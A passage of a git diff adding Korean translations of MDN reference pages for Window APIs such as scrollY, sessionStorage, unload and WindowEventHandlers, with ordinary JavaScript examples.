+<p>{{Compat("api.Window.scrollX")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.scrollY")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/scrolly/index.html b/files/ko/web/api/window/scrolly/index.html
new file mode 100644
index 0000000000..311a1eed05
--- /dev/null
+++ b/files/ko/web/api/window/scrolly/index.html
@@ -0,0 +1,86 @@
+---
+title: Window.scrollY
+slug: Web/API/Window/scrollY
+tags:
+ - API
+ - CSSOM View
+ - Property
+ - Reference
+ - Window
+ - 스크롤
+translation_of: Web/API/Window/scrollY
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <code><strong>scrollY</strong></code> 읽기 전용 속성은 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.</span> 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수평 스크롤은 {{domxref("Window.scrollX", "scrollX")}} 속성을 사용하여 가져올 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">var <em>y</em> = window.scrollY</pre>
+
+<h3 id="값">값</h3>
+
+<p>원점으로부터 문서를 수직방향으로 스크롤한 픽셀의 수를 나타내는, 배정밀도 부동소수점 값. 양의 값이 위쪽 스크롤을 의미합니다. 문서를 단일 픽셀보다 높은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 위나 아래로 전혀 움직이지 않은 상태면 <code>0</code>을 반환합니다.</p>
+
+<div class="note">
+<p>정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.</p>
+</div>
+
+<p>더 기술적인 용어로, <code>scrollY</code>는 현재 {{Glossary("viewport", "뷰포트")}} 위쪽 모서리의 Y좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">// make sure and go down to the second page
+if (window.scrollY) {
+ window.scroll(0, 0); // reset the scroll position to the top left of the document.
+}
+
+window.scrollByPages(1);</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p><code>scrollY</code> 속성을 사용하면 {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, {{domxref("window.scrollByPages", "scrollByPages()")}}와 같은 상대적 스크롤 함수를 사용할 때, 문서가 이미 스크롤되지는 않았는지 판별할 수 있습니다.</p>
+
+<p>{{domxref("Window.pageYOffset", "pageYOffset")}} 속성은 <code>scrollY</code>의 다른 이름입니다.</p>
+
+<pre class="brush: js">window.pageYOffset === window.scrollY; // 항상 true</pre>
+
+<p>브라우저간 호환성을 위해서는 <code>window.scrollY</code> 대신 <code>window.pageYOffset</code>을 사용하세요. 이에 더해, Internet Explorer 9 미만의 구형 환경에서는 두 속성 모두 지원하지 않으므로 또 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.scrollY")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.scrollX")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/self/index.html b/files/ko/web/api/window/self/index.html
new file mode 100644
index 0000000000..0e22bd94ed
--- /dev/null
+++ b/files/ko/web/api/window/self/index.html
@@ -0,0 +1,72 @@
+---
+title: Window.self
+slug: Web/API/Window/self
+tags:
+ - API
+ - HTML DOM
+ - Property
+ - Read-only
+ - Reference
+ - Window
+translation_of: Web/API/Window/self
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>Window.self</strong></code> 읽기전용 속성은 자기 자신을 {{domxref("WindowProxy")}}로써 반환합니다. <code>window.self</code>로도 사용할 수 있고, <code>self</code>만 독립적으로 사용해 접근할 수 있습니다. 독립적으로 접근했을 때의 이점은 비 {{jsxref("Window")}} 환경인 {{domxref("Worker", "웹 워커", "", 0)}} 등도 비슷한 표기법을 사용한다는 것입니다. 이 때 <code>self</code>는 <code>Window</code> 문맥에서는 <code>window.self</code>, 워커 문맥에서는 {{domxref("WorkerGlobalScope.self")}}와 같습니다.</p>
+
+<h2 id="Notes" name="Notes">예제</h2>
+
+<p>아래와 같이 쓴 <code>window.self</code>는 그냥 <code>window</code>로 바꿨을 때와 동일합니다.</p>
+
+<pre class="brush:js">if (window.parent.frames[0] != window.self) {
+ // this window is not the first frame in the list
+}
+</pre>
+
+<p>이에 더해 브라우징 문맥의 현재 활성확된 문서에서는 <code>window</code>가 현재 전역 객체를 가리키므로 다음 네 줄의 코드는 모두 동일합니다.</p>
+
+<pre class="brush:js">var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// w1, w2, w3, w4 모두 일치. 그러나 워커에서는 w2만 작동함
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No difference from the latest snapshot {{SpecName("HTML5.1")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>No difference from the {{SpecName("HTML5 W3C")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>First snapshot containing the definition of <code>Window.self</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.self")}}</p>
+
+<h2 class="noinclude" id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}에서 같은 역할을 하는 {{domxref("WorkerGlobalScope.self")}}.</li>
+</ul>
diff --git a/files/ko/web/api/window/sessionstorage/index.html b/files/ko/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..7ae76ce298
--- /dev/null
+++ b/files/ko/web/api/window/sessionstorage/index.html
@@ -0,0 +1,101 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+tags:
+ - API
+ - Property
+ - Reference
+ - Storage
+ - Window
+ - WindowSessionStorage
+ - 세션스토리지
+translation_of: Web/API/Window/sessionStorage
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><strong><code>sessionStorage</code></strong> 읽기 전용 속성은 현재 {{glossary("origin", "출처")}} 세션의 {{domxref("Storage")}} 객체에 접근합니다. <code>sessionStorage</code>는 {{domxref("Window.localStorage", "localStorage")}}와 비슷하지만, <code>localStorage</code>의 데이터는 만료되지 않고, <code>sessionStorage</code>의 데이터는 <u>페이지 세션</u>이 끝날 때 제거되는 차이가 있습니다.</p>
+
+<ul>
+ <li>페이지 세션은 브라우저가 열려있는 한 새로고침과 페이지 복구를 거쳐도 남아있습니다.</li>
+ <li><strong>페이지를 새로운 탭이나 창에서 열면, 세션 쿠키의 동작과는 다르게 최상위 브라우징 맥락의 값을 가진 새로운 세션을 생성합니다.</strong></li>
+ <li>같은 URL을 다수의 탭/창에서 열면 각각의 탭/창에 대해 새로운 <code>sessionStorage</code>를 생성합니다.</li>
+ <li>탭/창을 닫으면 세션이 끝나고 <code>sessionStorage</code> 안의 객체를 초기화합니다.</li>
+</ul>
+
+<p><code>sessionStorage</code>에 저장한 자료는 <strong>페이지 프로토콜별로 구분</strong>합니다. 특히 HTTP(<a href="http://example.com">http://example.com</a>)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(<a href="https://example.com">https://example.com</a>)와는 다른 <code>sessionStorage</code>에 저장됩니다.</p>
+
+<p>키와 값은 <u>항상</u> 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>myStorage</em> = <em>window</em>.sessionStorage;</pre>
+
+<h3 id="값">값</h3>
+
+<p>현재 {{glossary("origin", "출처")}}의 세션 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>요청이 정책의 결정을 위반했거나, 출처가 <a href="/ko/docs/Web/Security/Same-origin_policy#출처의_정의">유효한 스킴/호스트/포트 튜플</a>이 아닌 경우. 유효하지 않은 튜플은 출처가 <code>file:</code>이나 <code>data:</code> 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드는 현재 출처의 세션 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.</p>
+
+<pre class="brush: js notranslate">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>다음 예제는 텍스트 필드의 문장을 자동 저장하여 브라우저가 의도치 않게 재시작 되었을 경우 자동으로 텍스트 필드의 내용을 저장된 문장으로 복구하여 작성한 내용이 사라지지 않게 합니다.</p>
+
+<pre class="brush: js notranslate">// 추적할 텍스트 입력 칸 가져오기
+let field = document.getElementById("field");
+
+// 자동저장 값이 존재하는지 판별
+// (의도치 않게 페이지를 새로 불러올 경우에만 발생)
+if (sessionStorage.getItem("autosave")) {
+ // 입력 칸의 콘텐츠 복구
+ field.value = sessionStorage.getItem("autosave");
+}
+
+// 텍스트 입력 칸의 변화 수신
+field.addEventListener("change", function() {
+ // 결과를 세션에 저장
+ sessionStorage.setItem("autosave", field.value);
+});
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a> 문서에서 전체 예제를 살펴보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-sessionstorage", "sessionStorage")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/status/index.html b/files/ko/web/api/window/status/index.html
new file mode 100644
index 0000000000..2dd40aa3fd
--- /dev/null
+++ b/files/ko/web/api/window/status/index.html
@@ -0,0 +1,25 @@
+---
+title: Window.status
+slug: Web/API/Window/status
+translation_of: Web/API/Window/status
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>브라우저 하단의 상태 표시줄에 텍스트를 바꾸거나, 기존 텍스트를 얻을 수 있다.</p>
+
+<p>이 프로퍼티는 파이어폭스나 기타 브라우저의 기본 설정값에서는 동작하지 않는다. window.status를 변경한다고 하더라도 상태 표시줄의 메시지에 출력되지 않을 것이다. 상태바 텍스트를 변경할 수 있게 하려면 유저가 about:config 창에서 dom.disable_window_status_change 를 허용해 주어야 한다.(인터넷 익스플로러의 경우 [인터넷 옵션 - 보안 - 사용자 지정 수준 - 스크립트를 통해 상태 표시줄 업데이트 허용]을 '사용'으로 바꾸어야 한다.)</p>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("1.9.1")}}, users can let websites change the status text by enabling the "Change status bar" preference in the Advanced options panel.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>window</em>.status = <em>string;
+var value = window.status;</em></pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>HTML5</p>
diff --git a/files/ko/web/api/window/stop/index.html b/files/ko/web/api/window/stop/index.html
new file mode 100644
index 0000000000..9ad0b6d546
--- /dev/null
+++ b/files/ko/web/api/window/stop/index.html
@@ -0,0 +1,50 @@
+---
+title: Window.stop()
+slug: Web/API/Window/stop
+translation_of: Web/API/Window/stop
+---
+<div> {{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>Window.stop()메서드는 window 객체의 로딩을 취소하는 메서드입니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">window.stop()
+</pre>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush:js">window.stop();
+</pre>
+
+<h2 id="Notes" name="Notes">본문</h2>
+
+<p>stop() 메서드는 브라우저의 정지 버튼을 누르는 행위와 동등한 효과를 지닙니다. Because of the order in which scripts are loaded, the stop() method cannot stop the document in which it is contained from loading, but it will stop the loading of large images, new windows, and other objects whose loading is deferred.</p>
+
+<h2 id="Specification" name="Specification">설명</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-stop', 'Window.stop')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility">Compatibility</h2>
+
+<p>stop()메서드는 인터넷 익스플로러에서 지원하지 않습니다.</p>
diff --git a/files/ko/web/api/window/toolbar/index.html b/files/ko/web/api/window/toolbar/index.html
new file mode 100644
index 0000000000..37e6a6cce0
--- /dev/null
+++ b/files/ko/web/api/window/toolbar/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.toolbar
+slug: Web/API/Window/toolbar
+tags:
+ - 참고
+ - 창
+translation_of: Web/API/Window/toolbar
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>창에서 끌 수 있는, 눈에 보이는 toolbar 문제를 해결합니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>objRef</em> = window.toolbar</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>{{deprecated_inline()}} 주어진 HTML 예제는 다양한 "바" 객체의 visible 프로퍼티의 사용방법과, 권한상승 역시 현재창에서 어떠한 bar의 visible 프로퍼티로 쓰여지는것을 필요로한다는 것을 보여주고 있습니다. 하지만 <a href="/en-US/docs/Bypassing_Security_Restrictions_and_Signing_Code" title="Bypassing_Security_Restrictions_and_Signing_Code">deprecation of enablePrivilege</a> 때문에 이 기능은 웹 페이지에서 사용할 수 없습니다. EnablePrivilege는 Firefox 15 에서 작동하지 않고, Firefox 17 에서 삭제 될 것입니다.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Various DOM Tests&lt;/title&gt;
+&lt;script&gt;
+
+// 현재창에서 존재하는 바의 상태를 변경
+netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
+window.toolbar.visible=!window.toolbar.visible;
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p&gt;Various DOM Tests&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notes" name="Notes">설명</h2>
+
+<p>페이지를 띄울때, 브라우저는 다음과 같은 dialog를 출력할 것입니다. : <img alt="Image:Modify_any_open_window_dialog.png"></p>
+
+<p>이러한 눈에 보이는 바들을 끄기 위해서, 당신의 스크립트를 확인하거나 위의 예제처럼 적절한 권한을 활성화 시켜야 합니다. 또한 주의해야 할 점은 동적으로 업데이트 되는 다양한 보이는 toolbar는 창의 크기에 따라 동적으로 업데이트 될 수 있고, 당신의 페이지의 레이아웃에 영향을 끼칠 수 있습니다.</p>
+
+<p>See also: <a href="/en-US/docs/Window.locationbar">window.locationbar</a>, <a href="/en-US/docs/Window.menubar">window.menubar</a>, <a href="/en-US/docs/Window.personalbar">window.personalbar</a>, <a href="/en-US/docs/Window.scrollbars">window.scrollbars</a>, <a href="/en-US/docs/Window.statusbar">window.statusbar</a></p>
+
+<h2 id="Specification" name="Specification">사양</h2>
+
+<p>HTML5</p>
diff --git a/files/ko/web/api/window/top/index.html b/files/ko/web/api/window/top/index.html
new file mode 100644
index 0000000000..d499281395
--- /dev/null
+++ b/files/ko/web/api/window/top/index.html
@@ -0,0 +1,55 @@
+---
+title: Window.top
+slug: Web/API/Window/top
+tags:
+ - API
+ - HTML DOM
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/top
+---
+<div>{{APIRef}}</div>
+
+<p>Returns a reference to the topmost window in the window hierarchy.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>topWindow</var> = window.top;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Where the {{domxref("window.parent")}} property returns the immediate parent of the current window, <code>window.top</code> returns the topmost window in the hierarchy of window objects.</p>
+
+<p>This property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.top")}}</p>
diff --git a/files/ko/web/api/window/unload_event/index.html b/files/ko/web/api/window/unload_event/index.html
new file mode 100644
index 0000000000..8cf741a9ae
--- /dev/null
+++ b/files/ko/web/api/window/unload_event/index.html
@@ -0,0 +1,126 @@
+---
+title: 'Window: unload 이벤트'
+slug: Web/API/Window/unload_event
+tags:
+ - Event
+ - Reference
+ - Window
+ - 이벤트
+translation_of: Web/API/Window/unload_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>unload</code></strong> 이벤트는 문서나 하위 리소스가 언로딩 중일 때 발생합니다.</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">확산</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">취소 가능</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("Event")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 처리기 속성</th>
+ <td>{{domxref("WindowEventHandlers/onunload", "onunload")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>unload</code>는 다음 이벤트 이후 발생합니다.</p>
+
+<ul>
+ <li>{{domxref("Window/beforeunload_event", "beforeunload")}} (취소 가능한 이벤트)</li>
+ <li>{{domxref("Window/pagehide_event", "pagehide")}}</li>
+</ul>
+
+<p><code>unload</code> 시점의 문서는 다음과 같은 상태입니다.</p>
+
+<ul>
+ <li>이미지, IFrame 등 모든 리소스는 여전히 존재합니다.</li>
+ <li>최종 사용자는 아무것도 볼 수 없습니다.</li>
+ <li>UI 상호작용은 아무 효과도 없습니다. ({{domxref("window.open()")}}, {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, 등등)</li>
+ <li>오류가 발생해도 언로딩 절차는 중단되지 않습니다.</li>
+</ul>
+
+<p>참고로 <code>unload</code> 이벤트 역시 문서 트리의 순서를 따라갑니다. 즉 부모 프레임의 <code>unload</code>가 자식 프레임의 <code>unload</code> <strong>이전에</strong> 발생합니다. 아래 예제를 확인하세요</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Parent Frame&lt;/title&gt;
+ &lt;script&gt;
+ window.addEventListener('beforeunload', function(event) {
+ console.log('I am the 1st one.');
+ });
+ window.addEventListener('unload', function(event) {
+ console.log('I am the 3rd one.');
+ });
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;iframe src="child-frame.html"&gt;&lt;/iframe&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>아래는 <code>child-frame.html</code>의 내용입니다.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Child Frame&lt;/title&gt;
+ &lt;script&gt;
+ window.addEventListener('beforeunload', function(event) {
+ console.log('I am the 2nd one.');
+ });
+ window.addEventListener('unload', function(event) {
+ console.log('I am the 4th and last one…');
+ });
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ ☻
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>부모 프레임이 언로딩 될 때, <code>console.log()</code> 메시지를 통해 순서를 확인할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('UI Events', '#event-type-unload', 'unload')}}</td>
+ <td>{{Spec2('UI Events')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.unload_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 이벤트: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}</li>
+ <li><a href="https://html.spec.whatwg.org/multipage/browsers.html#unloading-documents">Unloading Documents — unload a document</a></li>
+</ul>
diff --git a/files/ko/web/api/window/window/index.html b/files/ko/web/api/window/window/index.html
new file mode 100644
index 0000000000..16109243f1
--- /dev/null
+++ b/files/ko/web/api/window/window/index.html
@@ -0,0 +1,43 @@
+---
+title: Window.window
+slug: Web/API/Window/window
+translation_of: Web/API/Window/window
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>window 객체의 window 프로퍼티는 자기 자신의 window 객체를 가리킨다. 즉, 아래의 표현들은 같은 window 객체를 반환하게 된다:</p>
+
+<pre class="syntaxbox">window.window
+window.window.window
+window.window.window.window
+ ...
+</pre>
+
+<p>웹페이지에서 window 객체는 전역 객체이기도 하다. 다시 말해서:</p>
+
+<ol>
+ <li>스크립트의 전역 변수는 사실 window 객체의 프로퍼티이다.
+ <pre class="brush:js">var global = {data: 0};
+alert(global === window.global); // true를 반환한다.
+</pre>
+ </li>
+ <li>window 객체의 내장된 프로퍼티들은 window. 접두사 없이도 참조가 가능하다.
+ <pre class="brush:js">setTimeout("alert('Hi!')", 50); // window.setTimeout. 을 사용한 것과 동일하다.
+alert(window === window.window); // true를 반환한다.
+</pre>
+ </li>
+</ol>
+
+<p>자기 자신을 참조하는 window 라는 프로퍼티가 있다는 것은 (아마도) 전역 객체를 쉽게 참조하기 위함으로 생각된다.(없다면 스크립트 첫 부분에 다음과 같이 직접 만들어주었어야 했다. var window = this;)</p>
+
+<p>다른 이유로는, 만약 이 프로퍼티가 없다면 다음과 같이 작성이 불가능하기 때문이다: "{{domxref("window.open","window.open('http://google.com/')")}}" - 대신 다음과 같이 적어야 할 것이다. "open('http://google.com/')"</p>
+
+<p>Yet another reason to use this property is for libraries which wish to offer OOP-versions and non-OOP versions (especially JavaScript modules). If, for example, we refer to "this.window.location.href", a <a href="/en-US/docs/Mozilla/JavaScript_code_modules">JavaScript module</a> could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which, could be created, for example, after passing in a window object to the module class' constructor.  Thus, "this.window" inside of its functions would refer to that window object. In the non-namespaced version, "this.window" would simply refer back to "window", and also be able to get the document location without trouble. Another advantage is that the objects of such a class (even if the class were defined outside of a module) could change their reference to the window at will, as they would not be able to do if they had hard-coded a reference to "window" (yet the default in the class could still be set as the current window object).</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#dom-window">HTML Standard</a></li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/index.html b/files/ko/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..751168141a
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/index.html
@@ -0,0 +1,101 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+tags:
+ - API
+ - HTML-DOM
+ - Interface
+ - Mixin
+ - Reference
+ - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>WindowEventHandlers</code></strong> mixin describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement additional specific event handlers.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>WindowEventHandlers</code> is a mixin and not an interface; you can't actually create an object of type <code>WindowEventHandlers</code>.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessageerror")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("MessageError")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
